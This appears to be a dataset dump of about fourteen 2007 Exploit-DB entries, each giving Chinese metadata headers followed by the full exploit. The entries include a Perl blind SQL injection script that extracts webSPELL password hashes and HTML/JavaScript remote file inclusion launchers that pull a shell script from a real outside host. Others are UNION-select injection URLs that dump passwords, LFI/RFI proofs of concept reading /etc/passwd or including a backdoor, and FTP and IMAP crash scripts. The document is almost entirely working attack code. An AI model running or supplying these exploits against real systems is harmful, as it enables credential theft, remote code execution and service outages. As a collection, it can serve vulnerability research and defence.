QLWD/code_shield huggingface dataset:
标题: webSPELL 4.01.02 - 'showonly' Blind SQL Injection EDB-ID: 3325 CVE: 2007-1019 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "\n                           \\#'#/                       ";
  print "\n                           (-.-)                        ";
  print "\n   -------------------oOO---(_)---OOo-------------------";
  print "\n   | webSPELL v4.01.02 (showonly) Remote SQL Injection |";
  print "\n   |      (works only with register_globals = on)      |";
  print "\n   |                   coded by DNX                    |";
  print "\n   -----------------------------------------------------";
  print "\n[!] Bug: in news.php line 601 \$showonly is unquoted, so u can inject sql code";
  print "\n[!] Solution: install security fix";
  print "\n[!] Usage: perl ws.pl [Host] [Path] <Options>";
  print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -i 2 -t my_user";
  print "\n[!] Options:";
  print "\n       -i [no]       User-ID, default is 1";
  print "\n       -t [name]     Changed the user table name, default is webs_user";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $table   = "webs_user";
my %options = ();
GetOptions(\%options, "i=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"i"})
{
  $user = $options{"i"};
}

if($options{"t"})
{
  $table = $options{"t"};
}

syswrite(STDOUT, "[!] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $found = 0;
  my $h = 48;
  while(!$found && $h <= 57)
  {
    if(istrue2($host, $path, $table, $user, $i, $h))
    {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$found)
  {
    $h = 97;
    while(!$found && $h <= 122)
    {
      if(istrue2($host, $path, $table, $user, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[!] Exploit done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $table = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
  
  my $ua = LWP::UserAgent->new;
  my $url = "http://".$host.$path."index.php?site=news&showonly=%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")";
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  my $regexp = "Author";
  
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2007-02-16] URL: https://www.exploit-db.com/exploits/3325
标题: Htaccess Passwort Generator 1.1 - 'ht_pfad' Remote File Inclusion EDB-ID: 3324 CVE: 2007-1013 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: ********Htaccess_gen_V[1].1.1_(C)**********
Htaccess Passwort Generator V.1.1
Discovered By:- kezzap66345
Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHP_Scripte&seite=2
dork:ht_gen.php

code:

include ($ht_pfad."/tpl/ok.html");

exploit
http://target/[path]/generate.php?ht_pfad=3vil script?
I am a Turk..

# milw0rm.com [2007-02-16] URL: https://www.exploit-db.com/exploits/3324
标题: VS-News-System 1.2.1 - 'newsordner' Remote File Inclusion EDB-ID: 3322 CVE: 2007-1017 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>VS-News-System <= V1.2.1 (newsordner) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: VS-News-System <= V1.2.1 (newsordner) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.virtualsystem.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include ($gb_pfad ."/language/german.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/show_news_inc.php?" //File name
   var acik ="newsordner=" // Line x
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">VS-News-System <= V1.2.1 (newsordner) Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-16] URL: https://www.exploit-db.com/exploits/3322
标题: VicFTPS < 5.0 - 'CWD' Remote Buffer Overflow (PoC) EDB-ID: 3331 CVE: 2007-1014 类型: DOS 平台: WINDOWS 发布日期: 2007-02-18 漏洞利用脚本: /*
VicFTPs Server CWD Remote Buffer Overflow Vulnerability
                 DoS Proof of concept

            r0ut3r (writ3r [at] gmail.com)

Thanks to:
Marsu (Marsupilamipowa [at] hotmail.fr)
for helping me out with this vulnerability.

Greets Marsu, and Timq.

Description:
Sending a long argument to CWD will cause VicFTPs Server
to overwrite memory. EIP is overwritten at 323. The POC
uses a larger buffer to overwrite exception handler,
preventing an error message.  
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 21

int s;
struct sockaddr_in sock_addr;

char recvbuf[1024];
char pwn[450];

int main(int argc, char* argv[])
{
      if (argc < 2) {
        printf("Usage: %s <ip>\n", argv[0]);
        return 1; }

      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        printf("error with socket\n");
        return 1; }

      sock_addr.sin_family = AF_INET;
      sock_addr.sin_addr.s_addr = inet_addr(argv[1]);
      sock_addr.sin_port = htons(PORT);

      if (connect(s, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
        printf("unable to connect\n");
        return 1; }

      printf("[+] Connected\n");
      memset(recvbuf, '\0', 1024);
      recv(s, recvbuf, 1024, 0);

      char userbuf[50];
      printf("[+] Sending user...\n");
      memset(userbuf, '\0', 50);
      memcpy(userbuf, "USER anonymous\r\n", 18);
      if (send(s, userbuf, strlen(userbuf), 0) == -1) {
        printf("unable to send data\n");
        return 1; }

      memset(recvbuf, '\0', 1024);
      recv(s, recvbuf, 1024, 0);

      char passbuf[50];
        printf("[+] Sending pass...\n");
        memcpy(passbuf, "PASS anonymous\r\n", 18);
        if (send(s, passbuf, strlen(passbuf), 0) == -1) {
                printf("unable to send data\n");
                return 1; }
      recv(s, recvbuf, 1024, 0);

      printf("[+] Building payload. \n");
      memset(pwn, '\0', 450);
      memcpy(pwn, "CWD ", 4);
      memset(pwn+4, 'A', 400);
      memcpy(pwn+404, "\r\n", 2);

      printf("[+] Sending payload.\n");
      if (send(s, pwn, strlen(pwn), 0) == -1) {
        printf("unable to send data\n");
        return 1; }

      printf("[!] Boom! crashed?!\n");

      return 0;
}

// milw0rm.com [2007-02-18] URL: https://www.exploit-db.com/exploits/3331
标题: VS-Link-Partner 2.1 - 'script_pfad' Remote File Inclusion EDB-ID: 3323 CVE: 2007-1025 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-16 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>VS-Link-Partner <= 2.1 (script_pfad) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: VS-Link-Partner <= 2.1 (script_pfad) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.virtualsystem.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include ($gb_pfad ."/language/german.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/inc/"
   var adres="/functions_inc.php?" //File name
   var acik ="gb_pfad=" // Line x
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">VS-Link-Partner <= 2.1 (script_pfad) Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-16] URL: https://www.exploit-db.com/exploits/3323
标题: S-Gastebuch 1.5.3 - 'gb_pfad' Remote File Inclusion EDB-ID: 3328 CVE: 2007-1011 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-18 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>S-Gästebuch <= V.1.5.3 (gb_pfad) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: S-Gästebuch <= V.1.5.3 (gb_pfad) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[Dork       : VS-Gästebuch V. ©
//'[Dork Ex.   : http://www.google.com.tr/search?q=VS-G%C3%A4stebuch+V.+%C2%A9&hl=tr&start=10&sa=N
//'[S.Page     : http://www.virtualsystem.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include ($gb_pfad ."/language/german.php");
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/inc/"
   var adres="/functions_inc.php?" //File name
   var acik ="gb_pfad=" // Line x
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">S-Gästebuch <= V.1.5.3 (gb_pfad) Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-18] URL: https://www.exploit-db.com/exploits/3328
标题: CodeAvalanche News 1.x - 'CAT_ID' SQL Injection EDB-ID: 3317 CVE: 2007-1021 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-15 漏洞利用脚本: #CodeAvalanche News SQL Injection#

Software: CodeAvalanche News

Download: http://www.aspindir.com/indir.asp?id=3315

Risk: High

Found by: beks

http://target/[path]/inc_listnews.asp?CAT_ID=17+union+select+0,0,0,0,Password+from+Params

# milw0rm.com [2007-02-15] URL: https://www.exploit-db.com/exploits/3317
标题: nabopoll 1.2 - 'survey.inc.php?path' Remote File Inclusion EDB-ID: 3315 CVE: 2005-2157 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-15 漏洞利用脚本: By Cr@zy_King

crazy_king@eno7.org

Thakns : ApAci & Erne & Uyussman & Eno7 & Thehacker & Crackers_Child & Liz0zim

Script : nabopoll 1.x

Risk : Remote File .nclude | High

Site : http://nabocorp.com/

Google Dork : inurl:"nabopoll/"

Exploit :
include_once($path."includes/tags.inc.php");
include_once($path."config.inc.php");

Files: survey.inc.php

Exploit : http://www.site.com/[path]/survey.inc.php?path=http://sheel.txt?

Ayyildiz.Org Present

# milw0rm.com [2007-02-15] URL: https://www.exploit-db.com/exploits/3315
标题: Aktueldownload Haber scripti - 'id' SQL Injection EDB-ID: 3318 CVE: 2007-1016 2007-1015 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-15 漏洞利用脚本: -----------------------------------------------------------------------

Aktueldownload Haber scripti (id) Remote SQL Injection Vulnerability

-----------------------------------------------------------------------


Bulan: xoron

xoron.info - xoron.biz

-----------------------------------------------------------------------

Exploit:  HaberDetay.asp
?id=-1+union+select+0,1,kadi,4,5,parola,7+from+ayar

-----------------------------------------------------------------------

Açyklama: username
Eklenme tarihi: password

-----------------------------------------------------------------------


Download: http://www.aspindir.com/Goster/4656


-----------------------------------------------------------------------

# milw0rm.com [2007-02-15] URL: https://www.exploit-db.com/exploits/3318
标题: Jupiter CMS 1.1.5 - '/index.php' Local/Remote File Inclusion EDB-ID: 3309 CVE: 2007-0987 2007-0986 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-14 漏洞利用脚本: Title:          Jupiter CMS 1.1.5 Multiple Vulnerabilities
Advisory ID:    12070214
Risk level:     High
Author:         DarkFig <gmdarkfig@gmail.com>
URL:            http://www.acid-root.new.fr/advisories/12070214.txt

Risk level: High
Summary:    Local/Remote File Inclusion
Conditions: LFI: magic_quotes_gpc = Off
            RFI: PHP >= 5.0.0, allow_url_fopen = On

The script "index.php" contains the following code:

if(isset($n))
{
  if(file_exists("$n.php"))
  {
    if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=error");
    else include("$n.php");
  }
  elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");
}

The "n" parameter isn't properly filtered, this can lead to file inclusion.
Local file inclusion will work if magic_quotes_gpc=Off, the null byte char \x00
is required. Remote file inclusion will work if the server is running on PHP >= 5.
In this version, the file_exists() function can be used with some URL wrappers,
you can use ftp:// for example. Simple poc:

LFI: http://<host><path>/index.php?n=/etc/passwd%00
RFI: http://<host><path>/index.php?n=ftp://user:password@example.com/backdoor

# milw0rm.com [2007-02-14] URL: https://www.exploit-db.com/exploits/3309
标题: MailEnable Professional/Enterprise 2.37 - Denial of Service EDB-ID: 3308 CVE: 2007-0955 类型: DOS 平台: WINDOWS 发布日期: 2007-02-14 漏洞利用脚本: #!/usr/bin/perl
#
# maildisable-v7.pl
#
# Mail Enable Professional/Enterprise v2.32-7 (win32)
# by mu-b - Wed Feb 14 2007
#
# - Tested on: Mail Enable Professional v2.37 (win32)
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 12).
           "\xfa\xff\xff\xff".
           ($PAD x 12);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 28).
           "\x00\x01".
           ($PAD x 2).
           "\xff\xff\xff\x7f";
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("MailEnable Pro v2.37 DoS POC\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
    print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-02-14] URL: https://www.exploit-db.com/exploits/3308
标题: Snitz Forums 2000 3.1 SR4 - 'pop_profile.asp' SQL Injection EDB-ID: 3321 CVE: 2007-1023 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-16 漏洞利用脚本: =================================X=O=R=O=N=================================

Snitz Forums 2000 Version 3.1 SR4 (pop_profile.asp) Remote SQL Injection Vulnerability

=================================X=O=R=O=N=================================

Bulan: xoron

xoron.info - xoron.biz

=================================X=O=R=O=N=================================

POC: pop_profile.asp?mode=display&id=[SQL-INJ]

=================================X=O=R=O=N=================================

Username:
pop_profile.asp?mode=display&id=1

Pass:
pop_profile.asp?mode=display&id=-1+union+all+select+0,M_PASSWORD,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+FORUM_MEMBERS

=================================X=O=R=O=N=================================

Thanx: str0ke, kacper, shika
Tesekkurler: pang0, chaos, can bjorn, DJR

=================================X=O=R=O=N================================= 

# milw0rm.com [2007-02-16] URL: https://www.exploit-db.com/exploits/3321
标题: ZebraFeeds 1.0 - 'zf_path' Remote File Inclusion EDB-ID: 3314 CVE: 2007-1010 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-15 漏洞利用脚本: To ConTacT mE @ wWw.Asb-May.net/bb
ScRiPt:-http://cazalet.org/zebrafeeds/releases/zebrafeeds-current.zip
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>>
******************************************************************************
aggregator.php:-
require_once($zf_path . 'includes/feed.php');
require_once($zf_path . 'includes/view.php');
require_once($zf_path . 'includes/template.php');
require_once($zf_path . 'magpierss/rss_fetch.inc');

controller.php:-
require_once($zf_path . 'includes/template.php');
require_once($zf_path . 'includes/opml.php');

********************************************************************************
ExPlOiT:-http://www.SitE.com/newsfeeds/includes/aggregator.php?zf_path=[Shell]
ExPlOiT:-http://www.SitE.com/newsfeeds/includes/controller.php?zf_path=[Shell]
*******************************************************************************

# milw0rm.com [2007-02-15] URL: https://www.exploit-db.com/exploits/3314
标题: MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial of Service EDB-ID: 3306 CVE: 2007-0955 类型: DOS 平台: WINDOWS 发布日期: 2007-02-14 漏洞利用脚本: #!/usr/bin/perl
#
# maildisable-v5.pl
#
# Mail Enable Professional/Enterprise <=v2.35 (win32)
# by mu-b - Wed Nov 29 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
#              Mail Enable Professional v2.33 (win32)
#              Mail Enable Professional v2.34 (win32)
#              Mail Enable Professional v2.35 (win32)
#
# out of bounds read == DoS
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 12).
           "\xfa\xff\xff\xff".
           ($PAD x 12);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 28).
           "\x00\x01".
           ($PAD x 2).
           "\xef\xbe\xad\xde";
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("MailEnable Pro <=v2.36 DoS POC\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-02-14] URL: https://www.exploit-db.com/exploits/3306